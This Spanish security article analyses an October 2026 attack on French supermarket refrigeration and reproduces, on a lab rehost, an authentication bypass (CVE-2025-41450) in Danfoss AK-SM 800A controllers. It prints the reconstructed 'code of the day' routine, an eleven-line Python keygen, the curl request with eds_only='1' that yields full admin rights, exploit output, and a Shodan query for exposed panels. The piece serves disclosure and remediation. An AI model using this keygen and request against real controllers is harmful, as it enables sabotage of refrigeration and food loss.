noticias · 11 min de lectura
Análisis técnico del ciberataque que causó pérdidas millonarias en cientos de supermercados europeos
Cientos de supermercados franceses perdieron el frío en una noche. El vector sigue sin confirmarse; el sospechoso es un controlador que valida al técnico con una contraseña derivada de la fecha de hoy. Obtuvimos el firmware, lo montamos en laboratorio y entramos sin credenciales.
· Manuel López Pérez y Pablo Plaza Martínez · noticias

En la noche del 11 al 12 de octubre de 2026, una oleada de ataques paralizó la refrigeración de cientos de supermercados en Francia. Los atacantes forzaron un ciclo de descongelación continuo que disparó la temperatura de cámaras y vitrinas decenas de grados por encima de sus valores normales, y las cadenas tuvieron que retirar producto en masa. Entre las afectadas, según la cobertura, Intermarché, Netto, Super U, Carrefour Market, Monoprix, E.Leclerc y Auchan; las estimaciones de tiendas van de ~150 a ~400 según la fuente. CERT-FR emitió la alerta CERTFR-2026-ALE-012 por numerosos compromisos de equipos Danfoss de las series AK-SM y AK-SC, y el análisis de Sekoia citado por Reuters apuntaba a equipos afectados también en España, Portugal, Polonia, Alemania y Bélgica.

El País: el ciberataque estropea los alimentos frescos y congelados de varios supermercados de Francia y deja pérdidas millonarias.

The New York Times: el ataque golpeó la refrigeración de más de 400 supermercados y obligó a tirar producto congelado; los atacantes siguen sin identificar.
Que el ataque fuera por CVE-2025-41450 es, por ahora, solo una suposición: el vector no se ha establecido oficialmente y la investigación sigue abierta. Varios reportes a lo largo de este año ya avisaban de que algo así podía ocurrir, y durante 2025 se divulgaron varias vulnerabilidades en equipos Danfoss que terminaron en una corrección del fabricante. El fallo que miramos aquí es público y está parcheado (al menos desde R4.3.1). Toda la investigación y la reproducción del ataque la hicimos sobre equipamiento propio en un laboratorio aislado, sin afectar a ningún sistema en producción. Hemos querido aprovechar este incidente para analizar las vulnerabilidades en detalle y tratar de reproducir, en un entorno controlado, lo que han podido hacer los atacantes.
Miles de ellos, accesibles desde Internet
Antes del fallo conviene entender por qué un controlador de frío acaba siendo alcanzable desde Internet. El AK-SM 800A está pensado para vivir en la red interna de la empresa, pero trae interfaz web de gestión y, en muchas instalaciones, se publica para dar mantenimiento remoto sin desplazar a un técnico. Esa superficie es fácil de inventariar: en Shodan —la misma herramienta que usan los atacantes para localizar objetivos— una búsqueda por el título del panel, http.title:"Danfoss StoreView", devuelve 4.764 equipos expuestos. Encabeza Francia con 2.850 (el país del ataque de octubre de 2026), seguida de Sudáfrica (555), EE. UU. (170), Portugal (136) y Bélgica (115).

Shodan (14-10-2026): 4.764 paneles AK-SM accesibles desde Internet, con Francia a la cabeza.
«Expuesto» no es «vulnerable». La consulta no filtra por versión de firmware: entre esos 4.764 habrá equipos ya parcheados (R4.3.1) y otros no. Lo que mide es cuántos tienen el panel accesible desde Internet, que es el requisito previo para que el bypass sea explotable en remoto. Además, Shodan indexa lo que vio en su último rastreo pero no comprueba en tiempo real, así que algunos de esos equipos puede que ya ni estén accesibles.
Qué es un AK-SM 800A
El Danfoss AK-SM 800A (familia System Manager / StoreView) es el controlador maestro de la refrigeración comercial de una instalación. Es un equipo OT que vive en la red interna de la empresa: expone un panel web de gestión y, por detrás, se comunica a través de un bus de campo interno (Modbus / LON) con los controladores de cada nevera (los AK-CC de vitrinas y cámaras) y con los packs de compresores (AK-PC). Desde ahí supervisa, fija las temperaturas de trabajo y gestiona las alarmas de todo el frío de la tienda.

Lo único pensado para salir a la red —y, con demasiada frecuencia, a Internet— es el panel web de gestión; el bus de campo hacia los controladores de nevera y los packs de compresores es interno.
El laboratorio: firmware pre-parche y reversing
Para estudiar el fallo sin acercarnos a ningún equipo real, obtuvimos el firmware de Danfoss en una versión anterior al parche y lo rehospedamos en laboratorio. El binario de la aplicación, sm_app (ARMv7), se ejecuta sobre un contenedor Debian stretch armhf con QEMU user-mode; nginx actúa como frontal, sirviendo la SPA Angular y haciendo de reverse proxy, y por detrás los CGI resuelven la lógica de negocio contra FastCGI. Sobre ese montaje se hizo ingeniería inversa de los componentes para entender cómo funciona el login y qué capacidades concede.
nginx atiende las peticiones, pero toda la autenticación la resuelve el CGI sm_app por detrás. El RE deja a la vista la API: las peticiones van por POST /xml.cgi, con un atributo action que selecciona el manejador (hay del orden de 17). El camino de autenticación es la acción getauth, que llega a check_authorize. Ahí entra en juego un parámetro de modo: sin él, la petición se valida como siempre —usuarios del sistema vía PAM—; pero poner eds_only="1" (o quantum_only="1") desvía el flujo hacia una ruta de servicio, check_code_of_day, cuyo código se deriva de la fecha del equipo.

El mismo getauth toma dos caminos según el modo: la validación PAM normal o la ruta de servicio check_code_of_day.
Con las rutas, los parámetros y el flujo ya claros, el resto del artículo mira qué hace exactamente esa función de servicio.
El “código del día”
Muchos equipos industriales incluyen un acceso de servicio para que el técnico del fabricante entre sin la contraseña del cliente. Una forma clásica —y peligrosa— de implementarlo es el code of the day: un código que cambia cada día según una fórmula que, en teoría, solo conoce el fabricante.
El problema aparece cuando esa “fórmula secreta” es lo único que protege el acceso (seguridad por oscuridad) y además se puede recuperar del propio firmware. Es exactamente lo que pasa aquí: sm_app se distribuye sin ofuscar, con los nombres de funciones y variables a la vista. La que valida el código se llama, literalmente, check_code_of_day. Reconstruyéndola a partir del desensamblado, el “algoritmo secreto” es este:
/* Get_syst_current_tds devuelve la fecha actual del equipo:
mes, día y año (YY = año % 100). */
int check_code_of_day(const char *pass)
{
tds_t date; char buff[512]; long hex, tothex;
Get_syst_current_tds(&date); // (0) fecha actual del equipo
// (1) concatena 4 campos como 8 dígitos decimales: MM DD YY MM
ftext_s(buff, 511, "%02d%02d%02d%02d", date.month, date.day, date.yy, date.month);
sscanf(buff, "%lx", &hex); // (2) se interpreta como hexadecimal
// (3) el día, también en hexadecimal -> divisor
ftext_s(buff, 511, "%02d", date.day);
sscanf(buff, "%lx", &tothex);
hex = hex / tothex; // (4) división entera
hex = hex % 100000; // (5) 5 dígitos bajos
ftext_s(buff, 511, "%05ld", hex); // (6) código esperado
return (memcmp(pass, buff, 5) == 0) ? 1 : 0; // (7) compara los 5 primeros bytes
}En una línea:
código_del_día = ( “MMDDYYMM”₁₆ ÷ “DD”₁₆ ) mod 100000, formateado a 5 dígitos.
Los dos detalles que lo convierten en inseguro:
- No hay criptografía. No es un hash ni un HMAC. Se toma la fecha, se reinterpretan unos dígitos decimales como si fueran hexadecimales (paso 2), se divide por el día y se recortan los 5 dígitos bajos. Reversible a mano.
- La única entrada es la fecha, que es pública. No hay clave por dispositivo, ni secreto de servidor, ni nonce / reto. El código de cualquier día se calcula offline, sin tocar el equipo.
El keygen: 11 líneas de Python
Reproducir el algoritmo del firmware cabe en una función. Esto es todo lo que hace falta para generar el código de cualquier fecha:
#!/usr/bin/env python3
import sys, datetime
def code_of_day(month, day, year):
yy = year % 100
s = "%02d%02d%02d%02d" % (month, day, yy, month) # MM DD YY MM
A = int(s, 16) # reinterpretado como hex
B = int("%02d" % day, 16) # día como hex
return "%05d" % ((A // B) % 100000) # (A/B) mod 100000El mismo código vale para toda la flota ese día y es predecible para cualquier fecha futura. No hay nada que rotar ni revocar: mientras el algoritmo exista en el equipo, la “llave maestra” de mañana ya se conoce hoy.
Reproducción en laboratorio
Con la ruta y el parámetro ya identificados, el ataque es un único POST. El password es la salida del keygen para la fecha del equipo:
curl -s http://DISPOSITIVO:PUERTO/xml.cgi -X POST \
-H 'Content-Type: text/xml' \
--data '<cmd user="" password="87796" lang="English" version="C" action="getauth" eds_only="1"></cmd>'La respuesta funciona como un oráculo perfecto — distingue sin ambigüedad el código correcto del incorrecto:
| password | authtype | accesslevel | resultado |
|---|---|---|---|
87796 (correcto) | 16777215 | 1 | ADMIN TOTAL |
00000 | -1 | 255 | denegado |
11111 | -1 | 255 | denegado |
Respuesta real del equipo con el código correcto:
<resp ... action="getauth" eds_only="1" error="0">
<authorization>01-01</authorization>
<authtype>16777215</authtype> <!-- 0xFFFFFF: todos los permisos -->
<access>01-01</access>
<accesslevel>1</accesslevel>
<strongpassword>1</strongpassword>
</resp>Encadenado en un script, el ataque es un one-shot:
$ ./exploit_cve_2025_41450.sh 127.0.0.1:8088
[*] target : http://127.0.0.1:8088/xml.cgi
[*] code of the day: 87796 (derived from date; no credentials needed)
[*] request : <cmd user="" password="87796" ... action="getauth" eds_only="1"></cmd>
[*] response : <resp ... error="0"><authtype>16777215</authtype>...</resp>
[+] BYPASS OK -> authtype=16777215 (0xFFFFFF, all permissions), accesslevel=1 == FULL ADMINImpacto
El bypass no concede un “modo diagnóstico” limitado: concede la máscara de permisos completa, authtype = 0xFFFFFF (16 777 215), la misma que el usuario Supervisor del firmware. Para comprobarlo abrimos sesión contra el propio rehost. La SPA envía getauth sin el atributo de modo, así que se interceptó esa petición y se le añadió eds_only="1" — exactamente el bypass descrito arriba.

Acceso real — System Manager 800A, versión SVB501.000.139 (rehost de laboratorio, sin dispositivos de campo).

Tras el bypass, el menú de administrador completo: Software Upgrade, Export/Import Database, Operating System, Software Rollback… control total del equipo.
Con ese acceso se llega también a la gestión de los circuitos de frío. En el rehost definimos unos controladores de nevera de ejemplo para que la demostración tenga sentido:

Pantalla real de gestión de controladores de frío (Case Control) con tres circuitos de ejemplo.
Un atacante con acceso de red al panel entra sin credenciales, en cualquier equipo de la flota y cualquier día, y opera el sistema de frío con permisos totales. De ahí a la cadena de frío hay un solo paso:

La cadena de ataque completa, de principio a fin.
El ataque de octubre de 2026 a supermercados franceses produjo justo ese efecto —equipos forzados a calentar, producto retirado en masa—, aunque su vector concreto siga sin confirmarse. Las debilidades que lo hacen posible:
| Debilidad | Detalle | CWE |
|---|---|---|
| Credencial predecible | El único “secreto” es la fecha, que es pública. El código se calcula offline, sin tocar el equipo. | CWE-1391, 330 |
| Universal y permanente | El mismo código vale para toda la flota ese día y para cualquier fecha futura. El compromiso es masivo e irreversible. | CWE-287 |
| Sin criptografía | Ni hash ni HMAC: reinterpretar decimales como hex, una división y un módulo. Reversible a mano. | — |
| Oscuridad rota de fábrica | Toda la protección depende de ocultar la fórmula, pero sm_app se distribuye sin ofuscar, con los símbolos a la vista. | CWE-656 |
| Espacio trivial | Salida ∈ [0, 99999]. Incluso sin la fórmula, 5 dígitos a fuerza bruta; sin lockout observable en la rutina. | CWE-307 |
Remediación
- Actualizar el firmware a la última versión (al menos R4.3.1, donde Danfoss elimina la ruta del código del día).
- No exponer la interfaz de gestión a Internet. Segmentar en VLAN OT / VPN y limitar el acceso al panel a las redes que de verdad lo necesitan.
- Sustituir el esquema por un challenge-response con secreto en backend/HSM, ligado al número de serie y con ventana temporal corta. Nunca una credencial derivada de datos públicos.
- Añadir rate-limiting / lockout y auditoría en la autenticación.
- Vigilar la superficie de exposición: revisar periódicamente qué equipos del propio parque son accesibles desde Internet (por ejemplo con búsquedas en Shodan) y cerrar lo que no deba estar publicado.
- Hacer auditorías de seguridad que evalúen este tipo de fallos de forma proactiva, antes de que lo haga un atacante.
La lección. Derivar una credencial de un dato público como la fecha y fiarlo todo a ocultar la fórmula es seguridad por oscuridad, y en software embebido esa oscuridad dura lo que tarda alguien en abrir el binario. Un acceso de servicio tiene que ser criptográfico, propio de cada dispositivo y revocable; una credencial que no se puede rotar ni revocar no protege nada.
Referencias
- CISA — aviso ICSA-25-140-03 · Danfoss DSA (ago. 2025)
- CERT-FR — alerta
CERTFR-2026-ALE-012 - Cobertura del ataque a supermercados (oct. 2026): The Hacker News · TIME · Industrial Cyber
- cve-2025-41450
- danfoss
- ak-sm-800a
- ot-security
- ics
- refrigeracion
- auth-bypass
- reversing
- security-by-obscurity
- vendor:danfoss


